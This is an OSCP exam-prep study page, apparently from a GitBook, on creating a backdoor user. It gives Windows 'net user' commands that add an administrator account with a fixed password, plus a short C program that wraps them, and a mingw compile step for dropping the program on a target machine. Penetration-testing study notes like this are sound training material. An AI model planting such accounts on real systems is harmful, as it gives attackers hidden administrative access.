📘
OSCP Exam Prep
OSCP Exam Prep
OSCP Exam Prep
  • Reference List
  • Guideline
  • Commons
    • Basic Scans
    • Service Enumeration
      • HTTP(S) (80 / 443)
      • SMB (139 / 445)
      • FTP (21)
      • DNS (53)
      • SSH (22)
      • LDAP (389/636/3268)
      • Kerberos (88)
      • SNMP (161)
      • SMTP (25)
      • RDP (3389)
      • Evil-WinRM (5985/5986)
      • MYSQL (3306)
      • MSSQL (1433)
    • Default/Common Credentials
    • Shells
      • TTY Shell
    • File Transfer
    • KeePass Database
    • Port Forwarding
    • File Metadata
  • Attacks
    • Run a command x times
    • Public Exploits
    • User Creation
    • Password Cracking
      • Using custom wordlists
    • LFI/RFI
    • SQLi
    • PwnKit
    • SAM and SYSTEM files
    • Phishing for Access (Requires MailSVR)
    • GitDumper
  • Enumeration
    • Linux
    • Windows
  • Privilege Escalation
    • Linux
    • Windows
  • Port Forwarding Extras
    • Linux
    • Windows
  • Active Directory
    • Enumeration
    • Lateral Movement
    • Privilege Escalation
Powered by GitBook
On this page
  • Linux
  • Windows
  1. Attacks

User Creation

Linux

Windows

Command-line: Requires administrator permissions

net user test password123! /add
net localgroup administrators test /add

Generate script to create a user and assign said user to the administrator group on target machine

mousepad adduser.c

  #include <stdlib.h>
  
  int main () {
    int i;
    
    i = system ("net user test password123! /add");
    i = system ("net localgroup administrators test /add");
    
    return 0;
  }

Compile the code into an executable and upload it onto target machine for execution

x86_64-w64-mingw32-gcc adduser.c -o adduser.exe

PreviousPublic ExploitsNextPassword Cracking

Last updated 4 months ago